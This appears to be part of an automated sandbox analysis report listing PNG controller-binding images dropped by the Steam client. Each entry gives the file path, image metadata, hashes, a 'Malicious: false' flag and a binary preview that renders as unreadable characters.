...~...B/..&.....h:...D....X... .AmRZ.0..`1.u...&......!.&s..k@.^.a.Y...]p...r.M........a.QN.u........t...F.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_dp.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 51 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	384
Entropy (8bit):	6.724045062739595
Encrypted:	false
SSDEEP:
MD5:	E08A7B8D6DAA8315943CD2B6A5378FA2
SHA1:	C576EA097FE5215556DAC1A3DA80AE9B0000B44A
SHA-256:	94B42869A3E64472E8871DD13569F21E4ED32CC6E2EC7CAB5E304508E0D1E45C
SHA-512:	6420BBFA8AA370C15C53E7305442B89EC16D783E1B743DD98E5575C9A223DEA470898ABEBDB12060317606212ABF624EDC235F6BF8F89E2607C08A5C47E286E4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...3...2......#.....BPLTET.....T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T...:......tRNS...!,CNYdo............/......IDATH...I..0..P..y.x..U..*... uS..)........t.....0.eF..I..1.Lw.L+>.G.2.r....-0.`\|.:..M..n...SnX../f......0..6.Iz.T...Y%q..?.ll....o.'f..h..L.k.].2...T...&j}...^.UX.;$...g..v_...J..m4..(.3R.9......o...{CD...R;..6.P@....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_dp_dn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	314
Entropy (8bit):	7.026053441944773
Encrypted:	false
SSDEEP:
MD5:	AA42126D464A7D964E08E47232C8C3CA
SHA1:	A864F82E0468FA0DBE07704E32623ABAF620717A
SHA-256:	22391975806DE1EB32DAB472C9DFC233911BC34EE3435C176267DE58605E06E4
SHA-512:	A8CE39027E680ABDE107AE931A7F400109225C5F60965D5464D6E49C9F8A8E7911F68D636977D6A935BBB0FE936F0B22074BC7B47DEF7945C40A2AED370534B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............\|fu....IDATx...1K.@.....K.3.......,...V."...s..ww.~...c.@....K.3.w.....\.B...p%.%s.....7O\x.+p....}......ouGxG.S...G.....{.$..,H.?.)0:......P..i.4.{....Mf.{..1.).Y$.../4T.q'..` @../.XE.7F.Z.W`.............7.} ..1j7-^.\......5j..........`....-..........W.e ......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_dp_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	314
Entropy (8bit):	7.122755760341591
Encrypted:	false
SSDEEP:
MD5:	D06AFEB9753D1F9AB09C724B147E4ECD
SHA1:	A8FAD7F07CFAECF1740D1620C944550E02D532D2
SHA-256:	4941655EC16ACE1ED0F652F4F2D7FA691F84CCA07335464C24462C98237CA91A
SHA-512:	1473465070C1B272847275D640A0D7ABFFF56D1DBE9DB988C6988E4EFBCCF630F8F3A28959D607F78E5640947BA97879C73D3CF7BE479575F155D16FB34AE298
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............}\.....IDATx...J.@...7..NN.Gp..D'q...c.. 8...].8.dt.... .. .B.S....".M.....K~.9B...F.......z.z.v.C\c...uEV...y..q....5...~..3.3.,..s...Z.1.....s!.'.]".#..2.Z\|[.F.v..'.........P.....k........r:..-._....<...?.....e.8...j#>..........&.~.?...."..-...o5.+.q..q..U.J.B......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_dp_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 25 x 22, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.854316571510677
Encrypted:	false
SSDEEP:
MD5:	9B34002FC4073711BC55BCD59A5CE3E7
SHA1:	B09792961AEF26283EA3357B58FDB987E16EE53E
SHA-256:	AC35FF98D66E6AFC6A984E734FA92191B6C6EE1B7AE3ACBD9719F61D0F549947
SHA-512:	949B3C1362BB83D426E3568DA276716DAC31BF0DD910384AE65E8748E7183ACFF03555F534A1C30E8043AB0913D56FE3A1005F6AAE72ED35EB4601128D509819
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............a....QPLTE...T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T.....-....tRNS....!');bg\|...............".m....cIDAT(...9.. .....q.q...A}hC..N...M".Fu.kN.K'EtB.`.....N....;..0@+..h. tkF5+.:Z.e...Q.P>.....c.....)+1........IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_dp_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	319
Entropy (8bit):	6.000434155417321
Encrypted:	false
SSDEEP:
MD5:	456474A925B5DFA0F6DF24987E0B3514
SHA1:	8AED0E4E38AE42C6FD952C5BE6485E00CB82A031
SHA-256:	20C9C60361BA14BA1F6A80139A12E97B54668A36D65666F9A1244BF7A61552A9
SHA-512:	CEDBF6747A4D07852724194B9D58E78065BA039E763152B47F81AF4CF7638CB6A35D8CC5DEC843EF2727574AE86478F80124B8F754E5099C2EE5E2471FA9CF57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............&..G...]PLTE...T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T..T....&....tRNS....')6RZbdj\|..................q.R...sIDAT(..K..0...RTP.\|D3(............p.\|/""..>.v.4..g.4j..rMz............~.......;.....w..&........pxl.{D.ni...A1.>6......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_lb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 96 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2701
Entropy (8bit):	7.81357659329131
Encrypted:	false
SSDEEP:
MD5:	2EA5F352631146A5B7220FE279BD33F8
SHA1:	749BC4002D28C08FBFB45C91E95D3A0830C558C5
SHA-256:	46D4FD33ADD6A7E525069A07B3A4C66C2CA39607AA7CB26DC3FF90EEB50F0740
SHA-512:	62745F7B139F9CD5CD021F8490C77AACDE2F3572215ABAAFF991DA07A527C7481708C6438C00D1CC955D3B57848D9E361FF4A85D4A24150E0874E0F1C69354EA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...`...k......_.....TIDATx..mp.....!...LBH$.Z.P"..b.K....%&@.c.......3.e..(........V.....P.\|.:..V[u..k..:.-.J.tt.5n....e...}....w?.'7..=/.o...<.......x.R.<.DV.k....2..K.:#...iZ.1y)..&..J.....d=.gd.zR.5:.`/b5...`t+..eP..b..N...F..eR...a.O..:..]....g.....%...Hm{...}...%....Y.%.nCL...... -....A...^O.P.....$3...l.~R..u..."......41k..........{.L..w.[.y"o.....$m.......F/?F.b.6fo...F....2m ..iG....6Y5..O.6?.z...2Q...M.m.....j.F.=.......h........&....v.Av....3g.!....f...%.1.IhP.k.......N....... .....\|......J8-.....fg...[...U....5V...}..1.f`.";.....M539..2;....5..........<?.?..Yk.......u....Pw.P6....,....B........<.0.....u..&.~'..B.9.......R.<.i....V...yj..aZ:/QT..P&.].."..A.@>..^......f........2.H....t.........r..M.h....R..{o...7+Y..........*@[,..<..$..........GZ....d..R.P...).m...'...4^.....m:.I]..)..$..}..Xq\|.z....&...L........a{.....!O..6..M....==......k....`..O.v...M....t.5..p.X1m..:y........b\|.m2.pv...H...c-....}?<bO.6..m....c"... }..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_ls.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9557
Entropy (8bit):	7.971077436137962
Encrypted:	false
SSDEEP:
MD5:	D2D6DE1306E09BB1AC791C973440A266
SHA1:	709398E0B623B42179F0C9FB911299A8495C329E
SHA-256:	80421DE366055B240BF0DD8BD3D8630DC2BC62174CB44DB8918A58E8B3D7D761
SHA-512:	32A50E6133A7207E0B6E13271FFE234FD4F677088808ED079125576F0F996239659AF521C9EEC65F4DD3956B8209005115C751AE5F3E9424756228DBDE0EE4D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_ls_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8991
Entropy (8bit):	7.969979578908152
Encrypted:	false
SSDEEP:
MD5:	6B464BDDE2DEFC248B12A82EDC5B8389
SHA1:	3569C32C5BD99D024FE588905AD6341D7EB05F6E
SHA-256:	B145E1DD45A8B692DE7DCFE93A1CF9F1DEF5332FCCC7CAC9B90536EF3E88835F
SHA-512:	5BEABABF2723685801105F34C5CF7B3BDF9477E022341CF964C765501A623582097AEAAE6DD50C3CB13578B045A861E266F4E75C8B1C217B58DD7238CDCF327A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_ls_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8947
Entropy (8bit):	7.9619835206992375
Encrypted:	false
SSDEEP:
MD5:	AA163E2A26C3356DBC868948748402D5
SHA1:	BBE11FEC46A1F983E0E06EDCF8226CE305978839
SHA-256:	9209A8DEE12417720249B1FC2620111B7B65EC3E684B276009F1CEAB2BA40CB1
SHA-512:	34DC2457E4F083EE432E14729AE5D92C2DD3E87B396486E00D0C9F47D7B4A83CCB5DE318C0E13AAEDB8C2660827487BF7C946AA8B51E3B8A30E209F7973BB748
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_ls_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8924
Entropy (8bit):	7.9676592093673335
Encrypted:	false
SSDEEP:
MD5:	42CD3467C3B90B88D6185B5824FDF24F
SHA1:	BC068C0258F1623FB4A782EC78DEAF7F32859272
SHA-256:	A1572897133AA0507B074CA240111014D1CF1824569695B6CC67BBFDE4779D26
SHA-512:	D014BD6BD048770FBD47FE1B1AB7C8635D45DDE2511A9AC561C4223BDC764596A12A198B7BB065111A1EBE79A4B89577160C8FB79BFDDF82CF749E1636AD5930
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_ls_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9009
Entropy (8bit):	7.967964802655753
Encrypted:	false
SSDEEP:
MD5:	6699E306C62DFE2B54A748E024130752
SHA1:	106CD6712C78264E3EE88AAB873CCDB69AE1863E
SHA-256:	3ED06D3BC3B604107EB45E638ED48D0CECD38515A1DF460A4CAE1C4686CAAAEC
SHA-512:	30BCF4858E56BE798E455F18C174529FBC3FC8E5F6DF95F07B5697340886BD8DF303EE4C7B7A310647E53F16AB79325E7B695E777409EC884FCC66718725BC78
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2170
Entropy (8bit):	7.843961774456847
Encrypted:	false
SSDEEP:
MD5:	1873CE9DE813F3E91409385DED02CF1C
SHA1:	4F7A5F9D4EEAD7EB68E90A97F43F62FADC28DB7D
SHA-256:	1057E21A2347FF9594FD24B09FB5F51B52795EAD0ABCEF0C39468314E9FBFCF4
SHA-512:	44DFAA1BB5E6FA90DFF36BEA5148DF31D18ED20CFF7CBC79048B7758CE6C2B4D586172A00422CFAA0126C6EF9638AA2530564A3CAF46EE7B0450AE9465989B8D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...c......f.E...AIDATx..kl.U...P[ZJ.-.@...<.-.-.B....(-.....1!..(.c...L..0...hm?.A.K"AA.G.H! .".@..H..x..wk...vwv....f....v..>fV.eY.....%........Y.XgY..Yq.Y..".IpX."3>BR.`.`.vvq.v..zD..b......H.D..U.0..u...:%.$/...:.F.j..6.....D..f..w..Y..\....$O.HrI...&..)....p.i....Z.P`K.._.....O......k!...,XnO..y /.``......@...._u+.....`$.QF.(s.T..m..#..\.v.s.CP.e.,.....;@..XmTp.$...z.j.L....j.@.XlT`.v..k....MY.!....&.Q.Q.9.m6.1r :..%@.[....54.7.#.....T.M......0D.qF.."..@..3f..#....+Uc.......a..V...D.a.....3.C.\|N.u...5..2...\|#.0...H..n.!..YEP.......E...`....(..k.#..e.n0.)..c...... ...:0.....iz1............."..U.v3=.5.=.`..c...`.F.n......@i&Z...E.F....,6&UB.#...._t`....k..bg..0..AUIP....0..I'...'...~.9...Q..Ev........#....c...h.=..I..2u5yS..S....>...;D..a.V'i.=..I.a...j.g........t`\T..$RV.b..\|...t....0....V..m@g}.m@.k.~...a.m.U..mQ..p....Q........Cx..1..7.....@3Tff..1.S..N..t5.9..t..m.z.~Ekh...^nL.{QF..9UT.h.`O.,..~L.)....\D...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 94 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.893370570693587
Encrypted:	false
SSDEEP:
MD5:	884D08ECC40942D2C38761554FB63615
SHA1:	5712ADA24123F631B93DC53C4FD8B27BE50EE2C6
SHA-256:	BD6CEC8F5DA1FB6544A8781CB1D65961247BA6EE5393DE0B40CF0CACD960FB06
SHA-512:	8572C723255B1A0DC3B9639FDB6B98158CC998E95644FC010456628FFE85C63699D6A6FDD016F542D91C92E0E543AC7B83174A941FAD664E247B613D78829B9A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...^...k......e5p...vIDATx..{p......H.C0...!T..T.@L.#..A HH..C...t..L......V..q`l.......S..R.c..2.A.K...u.............w.w...?...g........9....._.z...5.5.....z.u........4..5.Ny..{.R"..6......v.....[.'V3kg...S.A....v.....u\.I..t.(....E.n.QQ.........8+......v<J..~Rg....K....!'...... -....o..2..(...x....c..Hmf......"....&.NcS..+...........#...<.7.(p...AM$x._[6v..R..yh..>p.P..B....Z.M.x..&.Fv>Cj....7.e.l....p...+x.].:v...\\|...sup....pb.s.....>._...O.>W....3Q......C..o...I...f..l"..?.5...#t#\|....h.....z.f^..-....I.^L.-.R)l....0.N....:..r...^.x;6..ac`M&..V..8..0.\|.IV.T.EO...b..4.Pw..2.....R.0@.....N.L....Pw$........R..JTY......._P..u.2..`..6H^..Q.*.....o_%..ns.../.(...v>...?.i.....O^.\|..%.....X...\|.n.,@...8N.f.........c%.....X...+yf...[..z.5..z...2...-6.<N.y.0.w.i.....!..=e..BoGZ/..m.._....6....;.G....K^.........A....X.6.[..{...W.-S.\|T..A.,........B.f..x..........G..W.......=.'....j......\...+\|z/.$.6..._.W....\!m.Q......~.x...03

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rs.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9136
Entropy (8bit):	7.9658927528918815
Encrypted:	false
SSDEEP:
MD5:	0B4FEF251FC2B44DA578B12CD0359FB0
SHA1:	D77BAFB718300DF11D92729269F749772208C490
SHA-256:	75D905088BEFB3EBBD0B7DEAEFA9EC9333F7A3E960CCD5F599C231A0674EB5D7
SHA-512:	4A69B37881E137FE5461D0172EA9500817588DDFFC6F2DA16E8134BB81B90E71EADDD0332262918A11E90C86213D913767C5043E7FF3648359ECB00E0CDB3D5E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rs_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8581
Entropy (8bit):	7.961817606602348
Encrypted:	false
SSDEEP:
MD5:	75751B9059B68A81992BCA41A84C1538
SHA1:	2DEB1264D50494F826E14648B8E9C7477C1DA877
SHA-256:	F38936F5A0F030D704A8D6FFBB3EBB310D38BECC50B05DF34D71E1D847492FB3
SHA-512:	4D5E7B371772CE9780F5035572638B0668CF371D25FF8CDD161694EB7F32E3753E323AF037A2B202F2D40218C37DB9E0EC4A5FFB94D31F83D9BF632DFA78F6E5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rs_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8535
Entropy (8bit):	7.9630068261688125
Encrypted:	false
SSDEEP:
MD5:	24C3F013AEB71A70E21209C12DEBF4A3
SHA1:	C3A3A8ADB7D3419BE5653014F94A3FA2E08B8F9A
SHA-256:	EAB626BC29D198693EC06560EFC731ACE3379D1E2D4363D8B370BBBABA5A3F29
SHA-512:	3C4DF9768A01AF1D246166D06684CADB7A23F6E0367012AD00D133267277F090CE5EB8D8B0DAEE8D56B41946251ABBCFB05351E7196EFFD4D1F7CCA0EE790658
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rs_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8509
Entropy (8bit):	7.964912010223528
Encrypted:	false
SSDEEP:
MD5:	C13AD1731FDAED48BD2BADF57DF5961C
SHA1:	C86E8258E7BCBEE1D457E8DC7B995CB827E23463
SHA-256:	0F1628968FF3465D1628873A24275190B709C139333BF6B5D1B29286CF5B7661
SHA-512:	8AE66760CF726579CE906B1436D056BE54C203249CB57B59DA0D0478E43A139195213C84D4E3C2AF864503FEBF2B84BEF946CAC888B6785322A97F932BA5846E
Malicious:	false
Reputation:	unknown
